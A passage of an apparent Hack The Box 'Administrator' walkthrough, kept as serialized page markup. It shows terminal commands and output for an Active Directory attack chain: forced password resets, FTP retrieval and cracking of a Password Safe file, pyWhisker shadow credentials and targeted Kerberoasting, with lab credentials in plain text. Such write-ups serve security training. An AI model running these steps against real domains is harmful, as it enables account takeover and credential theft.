https:\u002F\u002Fgithub.com\u002FHackplayers\u002Fevil-winrm#Remote-path-completion\n",[33,2906,2907],{"class":35,"line":99},[33,2908,2807],{"class":178},[33,2910,2911,2914,2917,2920,2922,2925],{"class":35,"line":118},[33,2912,2913],{"class":39},"Info:",[33,2915,2916],{"class":59}," Establishing",[33,2918,2919],{"class":59}," connection",[33,2921,1546],{"class":59},[33,2923,2924],{"class":59}," remote",[33,2926,2927],{"class":59}," endpoint\n",[33,2929,2930,2932,2934,2936,2939,2942,2945,2947,2950,2953,2956,2959,2962,2965],{"class":35,"line":127},[33,2931,2627],{"class":1052},[33,2933,2812],{"class":178},[33,2935,2627],{"class":1052},[33,2937,2938],{"class":178}," PS C:",[33,2940,2941],{"class":210},"\\U",[33,2943,2944],{"class":178},"sers",[33,2946,2232],{"class":210},[33,2948,2949],{"class":178},"livia",[33,2951,2952],{"class":210},"\\D",[33,2954,2955],{"class":178},"ocuments",[33,2957,2958],{"class":1052},">",[33,2960,2961],{"class":178}," net user michael Anfang2022",[33,2963,2964],{"class":1052},"!",[33,2966,2967],{"class":39}," \u002FDOMAIN\n",[33,2969,2970,2973,2976,2979],{"class":35,"line":136},[33,2971,2972],{"class":39},"The",[33,2974,2975],{"class":59}," command",[33,2977,2978],{"class":59}," completed",[33,2980,2981],{"class":59}," successfully.\n",[16,2983,2984],{},"In Bloodhound we can now see that the user “michael” has “ForcePasswordChange” authorizations for the user “benjamin”.",[16,2986,2987],{},[2549,2988],{"alt":28,"src":2989},"\u002Fimages\u002Fposts\u002Fhack-the-box-administrator\u002Fattachments\u002F2.webp",[20,2991,2992],{},[23,2993,2995],{"className":25,"code":2994,"language":27,"meta":28,"style":28},"┌─[eu-dedivip-1]─[10.10.14.55]─[nobrac@htb-9c36twul9w]─[~]\n└──╼ [★]$ net rpc password benjamin Anfang2022! -U administrator.htb\u002Fmichael%Anfang2022! -S administrator.htb\n",[30,2996,2997,3001],{"__ignoreMap":28},[33,2998,2999],{"class":35,"line":36},[33,3000,171],{"class":39},[33,3002,3003,3005,3008,3010,3013,3016,3019],{"class":35,"line":43},[33,3004,46],{"class":39},[33,3006,3007],{"class":178}," [★]$ net rpc password benjamin Anfang2022",[33,3009,2964],{"class":1052},[33,3011,3012],{"class":39}," -U",[33,3014,3015],{"class":59}," administrator.htb\u002Fmichael%Anfang2022!",[33,3017,3018],{"class":210}," -S",[33,3020,85],{"class":59},[16,3022,3023],{},"WinRM login with the user “benjamin” was not possible.\nHowever, at the beginning I saw through the Nmap scan that port 21 is open. I tried to log in there with the user “olivia”, which was unfortunately not successful. With the user “benjamin” this was now successful and here I found a file of a password safe.",[20,3025,3026],{},[23,3027,3029],{"className":25,"code":3028,"language":27,"meta":28,"style":28},"┌─[eu-dedivip-1]─[10.10.14.55]─[nobrac@htb-9c36twul9w]─[~]\n└──╼ [★]$ ftp administrator.htb\nConnected to administrator.htb.\n220 Microsoft FTP Service\nName (administrator.htb:root): benjamin\n331 Password required\nPassword: \n230 User logged in.\nRemote system type is Windows_NT.\nftp> ls\n229 Entering Extended Passive Mode (|||53192|)\n125 Data connection already open; Transfer starting.\n10-05-24  08:13AM                  952 Backup.psafe3\n226 Transfer complete.\nftp> get Backup.psafe3\nlocal: Backup.psafe3 remote: Backup.psafe3\n229 Entering Extended Passive Mode (|||53194|)\n125 Data connection already open; Transfer starting.\n100% |***********************************|   952       98.02 KiB\u002Fs    00:00 ETA\n226 Transfer complete.\nWARNING! 3 bare linefeeds received in ASCII mode.\nFile may not have transferred correctly.\n952 bytes received in 00:00 (96.83 KiB\u002Fs)\n",[30,3030,3031,3035,3042,3052,3065,3073,3083,3090,3104,3119,3130,3160,3183,3197,3207,3218,3231,3254,3272,3295,3303,3326,3346],{"__ignoreMap":28},[33,3032,3033],{"class":35,"line":36},[33,3034,171],{"class":39},[33,3036,3037,3039],{"class":35,"line":43},[33,3038,46],{"class":39},[33,3040,3041],{"class":178}," [★]$ ftp administrator.htb\n",[33,3043,3044,3047,3049],{"class":35,"line":53},[33,3045,3046],{"class":39},"Connected",[33,3048,1546],{"class":59},[33,3050,3051],{"class":59}," administrator.htb.\n",[33,3053,3054,3057,3059,3062],{"class":35,"line":63},[33,3055,3056],{"class":39},"220",[33,3058,1043],{"class":59},[33,3060,3061],{"class":59}," FTP",[33,3063,3064],{"class":59}," Service\n",[33,3066,3067,3070],{"class":35,"line":72},[33,3068,3069],{"class":39},"Name",[33,3071,3072],{"class":178}," (administrator.htb:root): benjamin\n",[33,3074,3075,3078,3081],{"class":35,"line":79},[33,3076,3077],{"class":39},"331",[33,3079,3080],{"class":59}," Password",[33,3082,1666],{"class":59},[33,3084,3085,3088],{"class":35,"line":88},[33,3086,3087],{"class":39},"Password:",[33,3089,1059],{"class":178},[33,3091,3092,3095,3098,3101],{"class":35,"line":93},[33,3093,3094],{"class":39},"230",[33,3096,3097],{"class":59}," User",[33,3099,3100],{"class":59}," logged",[33,3102,3103],{"class":59}," in.\n",[33,3105,3106,3108,3111,3114,3116],{"class":35,"line":99},[33,3107,2078],{"class":39},[33,3109,3110],{"class":59}," system",[33,3112,3113],{"class":59}," type",[33,3115,934],{"class":59},[33,3117,3118],{"class":59}," Windows_NT.\n",[33,3120,3121,3124,3127],{"class":35,"line":118},[33,3122,3123],{"class":39},"ftp",[33,3125,3126],{"class":178},"> ",[33,3128,3129],{"class":59},"ls\n",[33,3131,3132,3135,3138,3141,3144,3147,3150,3153,3156,3158],{"class":35,"line":127},[33,3133,3134],{"class":39},"229",[33,3136,3137],{"class":59}," Entering",[33,3139,3140],{"class":59}," Extended",[33,3142,3143],{"class":59}," Passive",[33,3145,3146],{"class":59}," Mode",[33,3148,3149],{"class":178}," (",[33,3151,3152],{"class":1052},"|||",[33,3154,3155],{"class":39},"53192",[33,3157,1053],{"class":1052},[33,3159,437],{"class":178},[33,3161,3162,3165,3168,3170,3173,3175,3177,3180],{"class":35,"line":136},[33,3163,3164],{"class":39},"125",[33,3166,3167],{"class":59}," Data",[33,3169,2919],{"class":59},[33,3171,3172],{"class":59}," already",[33,3174,481],{"class":59},[33,3176,1394],{"class":1393},[33,3178,3179],{"class":39}," Transfer",[33,3181,3182],{"class":59}," starting.\n",[33,3184,3185,3188,3191,3194],{"class":35,"line":144},[33,3186,3187],{"class":39},"10-05-24",[33,3189,3190],{"class":59},"  08:13AM",[33,3192,3193],{"class":210},"                  952",[33,3195,3196],{"class":59}," Backup.psafe3\n",[33,3198,3199,3202,3204],{"class":35,"line":355},[33,3200,3201],{"class":39},"226",[33,3203,3179],{"class":59},[33,3205,3206],{"class":59}," complete.\n",[33,3208,3209,3211,3213,3216],{"class":35,"line":370},[33,3210,3123],{"class":39},[33,3212,3126],{"class":178},[33,3214,3215],{"class":59},"get",[33,3217,3196],{"class":59},[33,3219,3220,3223,3226,3229],{"class":35,"line":385},[33,3221,3222],{"class":39},"local:",[33,3224,3225],{"class":59}," Backup.psafe3",[33,3227,3228],{"class":59}," remote:",[33,3230,3196],{"class":59},[33,3232,3233,3235,3237,3239,3241,3243,3245,3247,3250,3252],{"class":35,"line":409},[33,3234,3134],{"class":39},[33,3236,3137],{"class":59},[33,3238,3140],{"class":59},[33,3240,3143],{"class":59},[33,3242,3146],{"class":59},[33,3244,3149],{"class":178},[33,3246,3152],{"class":1052},[33,3248,3249],{"class":39},"53194",[33,3251,1053],{"class":1052},[33,3253,437],{"class":178},[33,3255,3256,3258,3260,3262,3264,3266,3268,3270],{"class":35,"line":440},[33,3257,3164],{"class":39},[33,3259,3167],{"class":59},[33,3261,2919],{"class":59},[33,3263,3172],{"class":59},[33,3265,481],{"class":59},[33,3267,1394],{"class":1393},[33,3269,3179],{"class":39},[33,3271,3182],{"class":59},[33,3273,3274,3277,3280,3283,3286,3289,3292],{"class":35,"line":457},[33,3275,3276],{"class":39},"100%",[33,3278,3279],{"class":1052}," |***********************************|",[33,3281,3282],{"class":39},"   952",[33,3284,3285],{"class":210},"       98.02",[33,3287,3288],{"class":59}," KiB\u002Fs",[33,3290,3291],{"class":59},"    00:00",[33,3293,3294],{"class":59}," ETA\n",[33,3296,3297,3299,3301],{"class":35,"line":475},[33,3298,3201],{"class":39},[33,3300,3179],{"class":59},[33,3302,3206],{"class":59},[33,3304,3305,3308,3310,3313,3316,3318,3320,3323],{"class":35,"line":496},[33,3306,3307],{"class":39},"WARNING!",[33,3309,336],{"class":210},[33,3311,3312],{"class":59}," bare",[33,3314,3315],{"class":59}," linefeeds",[33,3317,940],{"class":59},[33,3319,2511],{"class":59},[33,3321,3322],{"class":59}," ASCII",[33,3324,3325],{"class":59}," mode.\n",[33,3327,3328,3331,3334,3337,3340,3343],{"class":35,"line":512},[33,3329,3330],{"class":39},"File",[33,3332,3333],{"class":59}," may",[33,3335,3336],{"class":59}," not",[33,3338,3339],{"class":59}," have",[33,3341,3342],{"class":59}," transferred",[33,3344,3345],{"class":59}," correctly.\n",[33,3347,3348,3351,3354,3356,3358,3361,3364,3367],{"class":35,"line":528},[33,3349,3350],{"class":39},"952",[33,3352,3353],{"class":59}," bytes",[33,3355,940],{"class":59},[33,3357,2511],{"class":59},[33,3359,3360],{"class":59}," 00:00",[33,3362,3363],{"class":178}," (96.83 ",[33,3365,3366],{"class":59},"KiB\u002Fs",[33,3368,437],{"class":178},[16,3370,3371],{},"I use the “pwsafe2john” tool to save the hash of the file in the “pwsafe.hash” file and then I use the “john” tool to crack the password using the “rockyou.txt” wordlist.",[20,3373,3374],{},[23,3375,3377],{"className":25,"code":3376,"language":27,"meta":28,"style":28},"┌─[eu-dedivip-1]─[10.10.14.55]─[nobrac@htb-9c36twul9w]─[~]\n└──╼ [★]$ pwsafe2john Backup.psafe3 > pwsafe.hash\n└──╼ [★]$ john --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt pwsafe.hash\nUsing default input encoding: UTF-8e\u002Fwordlists\u002Frockyou.txt pwsafe.hash \nLoaded 1 password hash (pwsafe, Password Safe [SHA256 256\u002F256 AVX2 8x])\nCost 1 (iteration count) is 2048 for all loaded hashes\nWill run 4 OpenMP threads\nPress 'q' or Ctrl-C to abort, almost any other key for status\ntekieromucho     (Backu)     \n1g 0:00:00:00 DONE (2024-11-17 08:22) 4.761g\u002Fs 39009p\u002Fs 39009c\u002Fs 39009C\u002Fs newzealand..whitetiger\nUse the \"--show\" option to display all of the cracked passwords reliably\nSession completed.\n",[30,3378,3379,3383,3395,3412,3434,3470,3491,3507,3546,3554,3574,3615],{"__ignoreMap":28},[33,3380,3381],{"class":35,"line":36},[33,3382,171],{"class":39},[33,3384,3385,3387,3390,3392],{"class":35,"line":43},[33,3386,46],{"class":39},[33,3388,3389],{"class":178}," [★]$ pwsafe2john Backup.psafe3 ",[33,3391,2958],{"class":1052},[33,3393,3394],{"class":178}," pwsafe.hash\n",[33,3396,3397,3399,3402,3405,3407,3410],{"class":35,"line":53},[33,3398,46],{"class":39},[33,3400,3401],{"class":178}," [★]$ john ",[33,3403,3404],{"class":2653},"--wordlist",[33,3406,2657],{"class":1052},[33,3408,3409],{"class":59},"\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt",[33,3411,3394],{"class":39},[33,3413,3414,3417,3420,3423,3426,3429,3432],{"class":35,"line":63},[33,3415,3416],{"class":39},"Using",[33,3418,3419],{"class":59}," default",[33,3421,3422],{"class":59}," input",[33,3424,3425],{"class":59}," encoding:",[33,3427,3428],{"class":59}," UTF-8e\u002Fwordlists\u002Frockyou.txt",[33,3430,3431],{"class":59}," pwsafe.hash",[33,3433,1059],{"class":178},[33,3435,3436,3439,3441,3444,3447,3450,3453,3456,3459,3462,3465,3468],{"class":35,"line":72},[33,3437,3438],{"class":39},"Loaded",[33,3440,243],{"class":210},[33,3442,3443],{"class":59}," password",[33,3445,3446],{"class":59}," hash",[33,3448,3449],{"class":178}," (pwsafe, ",[33,3451,3452],{"class":59},"Password",[33,3454,3455],{"class":59}," Safe",[33,3457,3458],{"class":178}," [SHA256 ",[33,3460,3461],{"class":59},"256\u002F256",[33,3463,3464],{"class":59}," AVX2",[33,3466,3467],{"class":59}," 8x]",[33,3469,437],{"class":178},[33,3471,3472,3475,3477,3480,3483,3486,3488],{"class":35,"line":79},[33,3473,3474],{"class":39},"Cost",[33,3476,243],{"class":210},[33,3478,3479],{"class":178}," (iteration ",[33,3481,3482],{"class":59},"count",[33,3484,3485],{"class":178},") is 2048 ",[33,3487,2636],{"class":2635},[33,3489,3490],{"class":178}," all loaded hashes\n",[33,3492,3493,3496,3499,3501,3504],{"class":35,"line":88},[33,3494,3495],{"class":39},"Will",[33,3497,3498],{"class":59}," run",[33,3500,1533],{"class":210},[33,3502,3503],{"class":59}," OpenMP",[33,3505,3506],{"class":59}," threads\n",[33,3508,3509,3512,3515,3518,3520,3522,3525,3527,3530,3533,3535,3538,3541,3543],{"class":35,"line":93},[33,3510,3511],{"class":39},"Press",[33,3513,3514],{"class":1393}," '",[33,3516,3517],{"class":59},"q",[33,3519,1943],{"class":1393},[33,3521,1460],{"class":59},[33,3523,3524],{"class":59}," Ctrl-C",[33,3526,1546],{"class":59},[33,3528,3529],{"class":59}," abort,",[33,3531,3532],{"class":59}," almost",[33,3534,1846],{"class":59},[33,3536,3537],{"class":59}," other",[33,3539,3540],{"class":59}," key",[33,3542,217],{"class":59},[33,3544,3545],{"class":59}," status\n",[33,3547,3548,3551],{"class":35,"line":99},[33,3549,3550],{"class":39},"tekieromucho",[33,3552,3553],{"class":178},"     (Backu)     \n",[33,3555,3556,3559,3562,3565,3568,3571],{"class":35,"line":118},[33,3557,3558],{"class":39},"1g",[33,3560,3561],{"class":59}," 0:00:00:00",[33,3563,3564],{"class":59}," DONE",[33,3566,3567],{"class":178}," (2024-11-17 ",[33,3569,3570],{"class":59},"08:22",[33,3572,3573],{"class":178},") 4.761g\u002Fs 39009p\u002Fs 39009c\u002Fs 39009C\u002Fs newzealand..whitetiger\n",[33,3575,3576,3579,3582,3585,3588,3590,3593,3595,3598,3601,3604,3606,3609,3612],{"class":35,"line":127},[33,3577,3578],{"class":39},"Use",[33,3580,3581],{"class":59}," the",[33,3583,3584],{"class":1393}," \"",[33,3586,3587],{"class":59},"--show",[33,3589,2265],{"class":1393},[33,3591,3592],{"class":59}," option",[33,3594,1546],{"class":59},[33,3596,3597],{"class":59}," display",[33,3599,3600],{"class":59}," all",[33,3602,3603],{"class":59}," of",[33,3605,3581],{"class":59},[33,3607,3608],{"class":59}," cracked",[33,3610,3611],{"class":59}," passwords",[33,3613,3614],{"class":59}," reliably\n",[33,3616,3617,3620],{"class":35,"line":136},[33,3618,3619],{"class":39},"Session",[33,3621,3622],{"class":59}," completed.\n",[16,3624,3625,3626,3632],{},"Then install the password manager (",[3627,3628,3629],"a",{"href":3629,"rel":3630},"https:\u002F\u002Fpwsafe.org\u002F",[3631],"nofollow",") so that we can open the file.",[16,3634,3635],{},[2549,3636],{"alt":28,"src":3637},"\u002Fimages\u002Fposts\u002Fhack-the-box-administrator\u002Fattachments\u002F3.webp",[16,3639,3640],{},"Here we will find further credentials for the domain.",[16,3642,3643],{},[2549,3644],{"alt":28,"src":3645},"\u002Fimages\u002Fposts\u002Fhack-the-box-administrator\u002Fattachments\u002F4.webp",[16,3647,3648],{},"In Bloodhound, we then see again that the user “emily” has the “GenericWrite” authorizations for the user “ethan”.",[16,3650,3651],{},[2549,3652],{"alt":28,"src":3653},"\u002Fimages\u002Fposts\u002Fhack-the-box-administrator\u002Fattachments\u002F5.webp",[16,3655,3656],{},"I then use the “pyWhisker” tool again.",[20,3658,3659],{},[23,3660,3662],{"className":25,"code":3661,"language":27,"meta":28,"style":28},"┌─[eu-dedivip-1]─[10.10.14.55]─[nobrac@htb-9c36twul9w]─[~]\n└──╼ [★]$ pywhisker -d administrator.htb -u emily -p UXLCI5iETUsIBoFVTj8yQFKoHjXmb --target ethan --action \"add\"\n[*] Searching for the target account\n[*] Target user found: CN=Ethan Hunt,CN=Users,DC=administrator,DC=htb\n[*] Generating certificate\n[*] Certificate generated\n[*] Generating KeyCredential\n[*] KeyCredential generated with DeviceID: 2809de27-3c2b-53d3-7f6c-f53f5f6f7dc2\n[*] Updating the msDS-KeyCredentialLink attribute of ethan\n[+] Updated the msDS-KeyCredentialLink attribute of the target object\n[+] Saved PFX (#PKCS12) certificate & key at path: EFMTLOlW.pfx\n[*] Must be used with password: UJqsstyDLQCzUFIwWx9P\n[*] A TGT can now be obtained with https:\u002F\u002Fgithub.com\u002Fdirkjanm\u002FPKINITtools\n",[30,3663,3664,3668,3681,3695,3717,3727,3737,3747,3758,3769,3779,3790,3811],{"__ignoreMap":28},[33,3665,3666],{"class":35,"line":36},[33,3667,171],{"class":39},[33,3669,3670,3672,3675,3677,3679],{"class":35,"line":43},[33,3671,46],{"class":39},[33,3673,3674],{"class":178}," [★]$ pywhisker -d administrator.htb -u emily -p UXLCI5iETUsIBoFVTj8yQFKoHjXmb --target ethan --action ",[33,3676,2265],{"class":1393},[33,3678,2617],{"class":59},[33,3680,2620],{"class":1393},[33,3682,3683,3685,3687,3689,3691,3693],{"class":35,"line":53},[33,3684,397],{"class":102},[33,3686,2627],{"class":1052},[33,3688,2291],{"class":102},[33,3690,2632],{"class":178},[33,3692,2636],{"class":2635},[33,3694,2639],{"class":178},[33,3696,3697,3699,3701,3703,3705,3707,3709,3712,3715],{"class":35,"line":63},[33,3698,397],{"class":102},[33,3700,2627],{"class":1052},[33,3702,2291],{"class":102},[33,3704,2650],{"class":178},[33,3706,2654],{"class":2653},[33,3708,2657],{"class":1052},[33,3710,3711],{"class":59},"Ethan",[33,3713,3714],{"class":39}," Hunt,CN",[33,3716,2666],{"class":59},[33,3718,3719,3721,3723,3725],{"class":35,"line":72},[33,3720,397],{"class":102},[33,3722,2627],{"class":1052},[33,3724,2291],{"class":102},[33,3726,2677],{"class":178},[33,3728,3729,3731,3733,3735],{"class":35,"line":79},[33,3730,397],{"class":102},[33,3732,2627],{"class":1052},[33,3734,2291],{"class":102},[33,3736,2688],{"class":178},[33,3738,3739,3741,3743,3745],{"class":35,"line":88},[33,3740,397],{"class":102},[33,3742,2627],{"class":1052},[33,3744,2291],{"class":102},[33,3746,2699],{"class":178},[33,3748,3749,3751,3753,3755],{"class":35,"line":93},[33,3750,397],{"class":102},[33,3752,2627],{"class":1052},[33,3754,2291],{"class":102},[33,3756,3757],{"class":178}," KeyCredential generated with DeviceID: 2809de27-3c2b-53d3-7f6c-f53f5f6f7dc2\n",[33,3759,3760,3762,3764,3766],{"class":35,"line":99},[33,3761,397],{"class":102},[33,3763,2627],{"class":1052},[33,3765,2291],{"class":102},[33,3767,3768],{"class":178}," Updating the msDS-KeyCredentialLink attribute of ethan\n",[33,3770,3771,3773,3775,3777],{"class":35,"line":118},[33,3772,397],{"class":102},[33,3774,2728],{"class":178},[33,3776,2291],{"class":102},[33,3778,2733],{"class":178},[33,3780,3781,3783,3785,3787],{"class":35,"line":127},[33,3782,397],{"class":102},[33,3784,2728],{"class":178},[33,3786,2291],{"class":102},[33,3788,3789],{"class":178}," Saved PFX (#PKCS12) certificate & key at path: EFMTLOlW.pfx\n",[33,3791,3792,3794,3796,3798,3800,3802,3804,3806,3808],{"class":35,"line":136},[33,3793,397],{"class":102},[33,3795,2627],{"class":1052},[33,3797,2291],{"class":102},[33,3799,2755],{"class":39},[33,3801,2758],{"class":59},[33,3803,2761],{"class":59},[33,3805,2764],{"class":59},[33,3807,2767],{"class":59},[33,3809,3810],{"class":59}," UJqsstyDLQCzUFIwWx9P\n",[33,3812,3813,3815,3817,3819],{"class":35,"line":144},[33,3814,397],{"class":102},[33,3816,2627],{"class":1052},[33,3818,2291],{"class":102},[33,3820,2781],{"class":178},[16,3822,3823],{},"After using “pyWhisker”, I wanted to use the “targetedKerberoast” tool to retrieve the Kerberos hash from the user “ethan”. However, I always got the following error message.",[20,3825,3826],{},[23,3827,3829],{"className":25,"code":3828,"language":27,"meta":28,"style":28},"┌─[eu-dedivip-1]─[10.10.14.55]─[nobrac@htb-9c36twul9w]─[~\u002FtargetedKerberoast]\n└──╼ [★]$ python targetedKerberoast.py -v -d 'administrator.htb' -u emily -p UXLCI5iETUsIBoFVTj8yQFKoHjXmb\n[*] Starting kerberoast attacks\n[*] Fetching usernames from Active Directory with LDAP\n[!] Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)\nTraceback (most recent call last):\n  File \"\u002Fhome\u002Fnobrac\u002FtargetedKerberoast\u002FtargetedKerberoast.py\", line 593, in main\n    tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(clientName=userName, password=args.auth_password, domain=args.auth_domain, lmhash=None, nthash=auth_nt_hash,\n                                             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"\u002Fusr\u002Flocal\u002Flib\u002Fpython3.11\u002Fdist-packages\u002Fimpacket\u002Fkrb5\u002Fkerberosv5.py\", line 323, in getKerberosTGT\n    tgt = sendReceive(encoder.encode(asReq), domain, kdcHost)\n          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"\u002Fusr\u002Flocal\u002Flib\u002Fpython3.11\u002Fdist-packages\u002Fimpacket\u002Fkrb5\u002Fkerberosv5.py\", line 93, in sendReceive\n    raise krbError\nimpacket.krb5.kerberosv5.KerberosError: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)\n",[30,3830,3831,3836,3852,3863,3874,3899,3919,3945,4007,4012,4035,4063,4068,4090,4098],{"__ignoreMap":28},[33,3832,3833],{"class":35,"line":36},[33,3834,3835],{"class":39},"┌─[eu-dedivip-1]─[10.10.14.55]─[nobrac@htb-9c36twul9w]─[~\u002FtargetedKerberoast]\n",[33,3837,3838,3840,3843,3845,3847,3849],{"class":35,"line":43},[33,3839,46],{"class":39},[33,3841,3842],{"class":178}," [★]$ python targetedKerberoast.py -v -d ",[33,3844,1943],{"class":1393},[33,3846,2578],{"class":59},[33,3848,1943],{"class":1393},[33,3850,3851],{"class":178}," -u emily -p UXLCI5iETUsIBoFVTj8yQFKoHjXmb\n",[33,3853,3854,3856,3858,3860],{"class":35,"line":53},[33,3855,397],{"class":102},[33,3857,2627],{"class":1052},[33,3859,2291],{"class":102},[33,3861,3862],{"class":178}," Starting kerberoast attacks\n",[33,3864,3865,3867,3869,3871],{"class":35,"line":63},[33,3866,397],{"class":102},[33,3868,2627],{"class":1052},[33,3870,2291],{"class":102},[33,3872,3873],{"class":178}," Fetching usernames from Active Directory with LDAP\n",[33,3875,3876,3878,3880,3882,3885,3888,3891,3894,3897],{"class":35,"line":72},[33,3877,397],{"class":102},[33,3879,2964],{"class":2635},[33,3881,2291],{"class":102},[33,3883,3884],{"class":178}," Kerberos SessionError: KRB_AP_ERR_SKEW(",[33,3886,3887],{"class":39},"Clock",[33,3889,3890],{"class":59}," skew",[33,3892,3893],{"class":59}," too",[33,3895,3896],{"class":59}," great",[33,3898,437],{"class":178},[33,3900,3901,3904,3907,3910,3913,3916],{"class":35,"line":79},[33,3902,3903],{"class":39},"Traceback",[33,3905,3906],{"class":178}," (most ",[33,3908,3909],{"class":59},"recent",[33,3911,3912],{"class":59}," call",[33,3914,3915],{"class":59}," last",[33,3917,3918],{"class":178},"):\n",[33,3920,3921,3924,3926,3929,3931,3934,3937,3940,3942],{"class":35,"line":88},[33,3922,3923],{"class":39},"  File",[33,3925,3584],{"class":1393},[33,3927,3928],{"class":59},"\u002Fhome\u002Fnobrac\u002FtargetedKerberoast\u002FtargetedKerberoast.py",[33,3930,2265],{"class":1393},[33,3932,3933],{"class":59},",",[33,3935,3936],{"class":59}," line",[33,3938,3939],{"class":59}," 593,",[33,3941,2511],{"class":59},[33,3943,3944],{"class":59}," main\n",[33,3946,3947,3950,3953,3956,3959,3962,3965,3968,3971,3973,3976,3978,3980,3983,3986,3988,3991,3994,3996,3999,4002,4004],{"class":35,"line":93},[33,3948,3949],{"class":39},"    tgt,",[33,3951,3952],{"class":59}," cipher,",[33,3954,3955],{"class":59}," oldSessionKey,",[33,3957,3958],{"class":59}," sessionKey",[33,3960,3961],{"class":59}," =",[33,3963,3964],{"class":59}," getKerberosTGT",[33,3966,3967],{"class":1393},"(",[33,3969,3970],{"class":2653},"clientName",[33,3972,2657],{"class":1052},[33,3974,3975],{"class":59},"userName,",[33,3977,3443],{"class":2653},[33,3979,2657],{"class":1052},[33,3981,3982],{"class":59},"args.auth_password,",[33,3984,3985],{"class":2653}," domain",[33,3987,2657],{"class":1052},[33,3989,3990],{"class":59},"args.auth_domain,",[33,3992,3993],{"class":2653}," lmhash",[33,3995,2657],{"class":1052},[33,3997,3998],{"class":59},"None,",[33,4000,4001],{"class":2653}," nthash",[33,4003,2657],{"class":1052},[33,4005,4006],{"class":59},"auth_nt_hash,\n",[33,4008,4009],{"class":35,"line":99},[33,4010,4011],{"class":39},"                                             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n",[33,4013,4014,4016,4018,4021,4023,4025,4027,4030,4032],{"class":35,"line":118},[33,4015,3923],{"class":39},[33,4017,3584],{"class":1393},[33,4019,4020],{"class":59},"\u002Fusr\u002Flocal\u002Flib\u002Fpython3.11\u002Fdist-packages\u002Fimpacket\u002Fkrb5\u002Fkerberosv5.py",[33,4022,2265],{"class":1393},[33,4024,3933],{"class":59},[33,4026,3936],{"class":59},[33,4028,4029],{"class":59}," 323,",[33,4031,2511],{"class":59},[33,4033,4034],{"class":59}," getKerberosTGT\n",[33,4036,4037,4040,4042,4045,4047,4050,4053,4055,4058,4061],{"class":35,"line":127},[33,4038,4039],{"class":39},"    tgt",[33,4041,3961],{"class":59},[33,4043,4044],{"class":59}," sendReceive",[33,4046,3967],{"class":1393},[33,4048,4049],{"class":39},"encoder.encode(asReq",[33,4051,4052],{"class":1393},")",[33,4054,3933],{"class":59},[33,4056,4057],{"class":59}," domain,",[33,4059,4060],{"class":59}," kdcHost",[33,4062,437],{"class":1393},[33,4064,4065],{"class":35,"line":136},[33,4066,4067],{"class":39},"          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n",[33,4069,4070,4072,4074,4076,4078,4080,4082,4085,4087],{"class":35,"line":144},[33,4071,3923],{"class":39},[33,4073,3584],{"class":1393},[33,4075,4020],{"class":59},[33,4077,2265],{"class":1393},[33,4079,3933],{"class":59},[33,4081,3936],{"class":59},[33,4083,4084],{"class":59}," 93,",[33,4086,2511],{"class":59},[33,4088,4089],{"class":59}," sendReceive\n",[33,4091,4092,4095],{"class":35,"line":355},[33,4093,4094],{"class":39},"    raise",[33,4096,4097],{"class":59}," krbError\n",[33,4099,4100,4103,4105,4108,4111,4113,4115,4117,4119,4121],{"class":35,"line":370},[33,4101,4102],{"class":39},"impacket.krb5.kerberosv5.KerberosError:",[33,4104,1126],{"class":59},[33,4106,4107],{"class":59}," SessionError:",[33,4109,4110],{"class":59}," KRB_AP_ERR_SKEW",[33,4112,3967],{"class":1393},[33,4114,3887],{"class":39},[33,4116,3890],{"class":59},[33,4118,3893],{"class":59},[33,4120,3896],{"class":59},[33,4122,437],{"class":1393},[16,4124,4125],{},"This indicates that the time difference is too great. I used the “rdate” tool to define the VM to be attacked as the time server.",[20,4127,4128],{},[23,4129,4131],{"className":25,"code":4130,"language":27,"meta":28,"style":28},"┌─[✗]─[root@htb-9c36twul9w]─[\u002Fhome\u002Fnobrac]\n└──╼ #rdate -n 10.129.134.50\nSun Nov 17 15:41:34 CST 2024\n",[30,4132,4133,4138,4145],{"__ignoreMap":28},[33,4134,4135],{"class":35,"line":36},[33,4136,4137],{"class":39},"┌─[✗]─[root@htb-9c36twul9w]─[\u002Fhome\u002Fnobrac]\n",[33,4139,4140,4142],{"class":35,"line":43},[33,4141,46],{"class":39},[33,4143,4144],{"class":49}," #rdate -n 10.129.134.50\n",[33,4146,4147,4150,4153,4156,4159,4161],{"class":35,"line":53},[33,4148,4149],{"class":39},"Sun",[33,4151,4152],{"class":59}," Nov",[33,4154,4155],{"class":210}," 17",[33,4157,4158],{"class":59}," 15:41:34",[33,4160,975],{"class":59},[33,4162,4163],{"class":210}," 2024\n",[16,4165,4166],{},"After this, it worked.",[20,4168,4169],{},[23,4170,4172],{"className":25,"code":4171,"language":27,"meta":28,"style":28},"┌─[eu-dedivip-1]─[10.10.14.55]─[nobrac@htb-9c36twul9w]─[~\u002FtargetedKerberoast]\n└──╼ [★]$ python targetedKerberoast.py -v -d 'administrator.htb' -u emily -p UXLCI5iETUsIBoFVTj8yQFKoHjXmb\n[*] Starting kerberoast attacks\n[*] Fetching usernames from Active Directory with LDAP\n[VERBOSE] SPN added successfully for (ethan)\n[+] Printing hash for 